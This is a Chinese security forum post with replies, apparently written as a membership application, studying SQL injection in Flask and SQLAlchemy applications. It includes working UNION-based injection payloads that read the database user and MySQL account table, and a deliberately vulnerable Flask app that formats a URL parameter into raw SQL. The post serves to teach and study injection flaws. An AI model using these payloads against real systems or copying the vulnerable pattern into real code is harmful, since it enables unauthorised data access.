[【通过】] 【已转正】关于PythonWeb中sql注入的研究

[复制链接]
nearg1e 发表于 2016-7-22 23:04:01 | 显示全部楼层 |阅读模式

正式成员|主题 |帖子 |积分 21

本帖最后由 nearg1e 于 2016-7-23 12:13 编辑

前言
这是我以前就想写的“讨论PythonWeb开发中可能会遇到的安全问题”的一部分,很久以前就想写出来投给90Sec要个邀请码啥的,一直没时间,现在正好赶上开放注册就按照原先的思路写了一篇文章申请转正。可能有很多误区,还望指正。

正文
SQL注入所产生的条件是用户输入可构造sql语句并带入数据库执行。在Web应用中,容易产生SQL注入的输入一般是GET或POST请求参数。在PythonWeb开发中,以Flask框架为例,Flask里获取GET或POST请求数据的方式分别是 request.args.get('id', 0, type=int) 和 request.form.get('id', 0, type=int) 两种方式,另外Flask还支持在URL路由里带入变量: @app.route('/news/<int:id>') ,当程序员定义了这样的URL,则id这个变量在该视图里就是可以调用的。两种方法获取都是可以限定参数的类型,前者如果程序指定type为int,当用户传入无法转换成整形的字符串时,就返回None(若指定了默认值则为默认值,例子的默认值为0),后者出现这种情况则直接返回404.
PythonWeb开发中,在处理数据库的过程中经常使用orm库进行数据库处理,orm库是防SQL注入的好手。Flask和Tornado经常使用Sqlalchemy,而Django有自己自带的orm引擎。举一个用Sqlalchemy建模型类,并使用模型类查询用户数据的例子:

[Python] 纯文本查看 复制代码
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from datetime import datetime
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import Column, Integer, String, DateTime

engine = create_engine('mysql+pymysql://user:[email protected]/test')
DBSession = sessionmaker(bind=engine)
session = DBSession()
Base = declarative_base()

class user_t(Base):
    __tablename__ = 'user_t'
    user_id = Column(Integer, primary_key=True)
    username = Column(String)
    userpassword = Column(String)
    createtime = Column(DateTime, default=datetime.utcnow)

正常的查询与数据展示:

[Python] 纯文本查看 复制代码
>>> user = session.query(user_t).filter(user_t.username=='test').first()
>>> user.__dict__
{'username': 'test', 'userpassword': '098f6bcd4621d373cade4e832627b4f6', '_sa_instance_state': <sqlalchemy.orm.state.InstanceState object at 0x03F96530>, 'user_id': 3, 'createtime': datetime.datetime(2016, 7, 6, 6, 50, 16)}


在数据库执行的sql语句为:

[SQL] 纯文本查看 复制代码
SELECT user_t.user_id AS user_t_user_id, user_t.username AS user_t_username, user_t.userpassword AS user_t_userpassword, user_t.createtime AS user_t_createtime FROM user_t WHERE user_t.username = 'test' LIMIT 1


如果我们构造sql注入测试语句,并传入Sqlalchemy的查询语句中,看一下返回。

[Python] 纯文本查看 复制代码
>>> user = session.query(user_t).filter(user_t.username=="test'").first()>>> print user
None


那么在数据库中执行的sql语句是什么呢?

[SQL] 纯文本查看 复制代码
SELECT user_t.user_id AS user_t_user_id, user_t.username AS user_t_username, user_t.userpassword AS user_t_userpassword, user_t.createtime AS user_t_createtime FROM user_t WHERE user_t.username = 'test\'' LIMIT 1


由此可见在当Sqlalchemy接收到字符串进行查询时,在构造SQL语句的时候,会默认使用单引号包裹字符串,如果字符串内含有单引号的话,会使用\进行转义。从而达到过滤单引号的效果。
我们知道原生的sql语句在进行字符串拼接的情况下,容易产生sql注入,那Sqlalchemy是否支持执行sql语句呢?答案是肯定的,下面是Sqlalchemy执行sql语句的一个例子。

[Python] 纯文本查看 复制代码
In [18]: from sqlalchemy import text
In [19]: sql = text('SELECT * from user_t WHERE username = :username;')
In [20]: data = session.execute(sql, {'username':'test'}).fetchall()
In [21]: data
Out[21]: [(3, 'test', '098f6bcd4621d373cade4e832627b4f6', datetime.datetime(2016, 7, 6, 6, 50, 16))]


那么这种情况下,会造成sql注入吗?同样我们传入test'字符串,看看是否会进行对其进行过滤。

[Python] 纯文本查看 复制代码
In [22]: data = session.execute(sql, {'username':"test'"}).fetchall()


在数据库执行的sql语句为 SELECT * from user_t WHERE username = 'test\'' ,可见Sqlalchemy对其进行了相同的处理。那么是不是使用Sqlalchemy的情况下就不用产生sql注入了呢?显然,如果正确使用Sqlchemy的话,出现sql注入的情况会大大的降低,但是愚蠢的sql语句处理方法,同样会导致sql注入。如果不使用execute传入参数,而是使用python格式化字符串或拼接字符串的话,出现sql注入的概率会大大增加。示例代码:

[Bash shell] 纯文本查看 复制代码
>>> sqli_payload = "test'"
>>> sql = text("SELECT * from user_t WHERE username = '%s'" %sqli_payload)
>>> data = session.execute(sql).fetchall()

ProgrammingError: (pymysql.err.ProgrammingError) (1064, u"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''test''' at line 1") [SQL: u"SELECT * from user_t WHERE username = 'test''"]


报错,从错误信息上或查看数据库记录可见,单引号被成功带进了sql语句中。因此我们就可以构造payload获取数据。例如: sqli_payload = "test' union select user(),1,2,3#" 或 sqli_payload = "test' union SELECT host,user,1,2 FROM mysql.user LIMIT 1 OFFSET 1#" 。

[Python] 纯文本查看 复制代码
In [22]: sqli_payload = "test' union select user(),1,2,3#"
In [23]: sql = text("SELECT * from user_t WHERE username = '%s'" %sqli_payload)
In [24]: data = session.execute(sql).fetchall()
In [25]: data
Out[25]:
[('3', 'test', '098f6bcd4621d373cade4e832627b4f6', '2016-07-06 06:50:16'),
 ('[email protected]', '1', '2', '3')]

In [33]: sqli_payload = "test' union SELECT host,user,1,2 FROM mysql.user LIMIT 1 OFFSET 1#"
In [34]: sql = text("SELECT * from user_t WHERE username = '%s'" %sqli_payload)
In [35]: data = session.execute(sql).fetchall()
In [36]: data
Out[36]: [('%', 'root', '1', '2')]


结合上面提到的Flask传入参数的方法,我们可以整理在Flask+Sqlalchemy的情况下,比较容易产生sql注入的情况。
  • 获取get、post请求参数没有限定type或指定type为str
  • 同样的,定义url参数没有限定参数类型
  • 使用用户可控的参数进行sql语句格式化或拼接并带入数据库执行的

综合以上几点,我们写一个基于flask的单文件web小程序。

[Python] 纯文本查看 复制代码
from flask import Flask, request, render_template_string
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from datetime import datetime
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import Column, Integer, String, DateTime, text

app = Flask(__name__)

engine = create_engine('mysql+pymysql://root:[email protected]/test', echo=True)
DBSession = sessionmaker(bind=engine)
session = DBSession()
Base = declarative_base()

@app.route('/id-<id>/', methods=['GET'])
def sqli(id):
    template = '''
        <div>
            <h1>hello! {{ username }}</h1>
        </div>'''
    sql = text("SELECT * from user_t WHERE user_id = '%s'" %id)
    data = session.execute(sql).fetchall()
    print data
    return render_template_string(template, username=data[0][1])

app.run(debug=True)


注入测试:

总结与思考
  • 想要在FlaskWeb应用里面发现漏洞,不仅要注意get和post请求的参数,有可能出现问题的变量隐含在url中。
  • PythonWeb开发中,即使使用orm引擎,也有可能导致sql注入。
  • Sqlalchemy使用单引号包裹传进来的字符串变量,并使用\过滤字符串中的单引号。那么宽字符注入在使用本文的环境中是否可行呢?答案是否定的,Flask默认会将所有传入的字符串转为unicode,但不排除使用别的PythonWeb框架结合Sqlalchemy会产生宽字符注入的情况。

最后再说点啥
Web应用包含sql注入的情况,通常的想法会使用sql注入写文件拿webshell。但是写webshell的情况,在多数的PythonWeb框架或PythonWeb生产环境中并不管用。当然这并不代表,sql注入的危害性在PythonWeb环境中会降低,你依旧可以使用它来进行很多危险的行为。PythonWeb框架会产生的安全问题也有很多有趣的地方值得我们思考,我会继续分析其他的诸如XSS,SSRF等漏洞在PythonWeb上面所表现的特点,也会分析诸如Pickle反序列化,Flask强大的Debug模式等Python特性可能产生的安全问题。

总之路还很长,还得继续加油啊...

PS: 把Markdown转成HTML再复制上来还以为会很完美,没想到反而特别乱,改格式改到心酸。


=============================================
两位90Sec Team成员同意,转正成功。
                  管理05



单选投票, 共有 12 人参与投票

投票已经结束

100.00% (12)
0.00% (0)
您所在的用户组没有投票权限

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

lynahex 发表于 2016-7-22 23:42:54 | 显示全部楼层

正式成员|主题 |帖子 |积分 46

期待后面讲的内容,加油
方核桃和圆核桃 发表于 2016-7-23 10:16:04 | 显示全部楼层

正式成员|主题 |帖子 |积分 44

同感,90不支持Markdown很蛋疼。写这种帖子Markdown最合适了
 楼主 nearg1e 发表于 2016-7-23 12:07:03 | 显示全部楼层

正式成员|主题 |帖子 |积分 21

lynahex 发表于 2016-7-22 23:42
期待后面讲的内容,加油

感谢支持0v0
 楼主 nearg1e 发表于 2016-7-23 12:08:00 | 显示全部楼层

正式成员|主题 |帖子 |积分 21

方核桃和圆核桃 发表于 2016-7-23 10:16
同感,90不支持Markdown很蛋疼。写这种帖子Markdown最合适了

嗯 我发现不支持markdown的时候 先转成html粘贴进来 没想到还是不太好 昨天改格式改到好晚..
快速回复 返回顶部 返回列表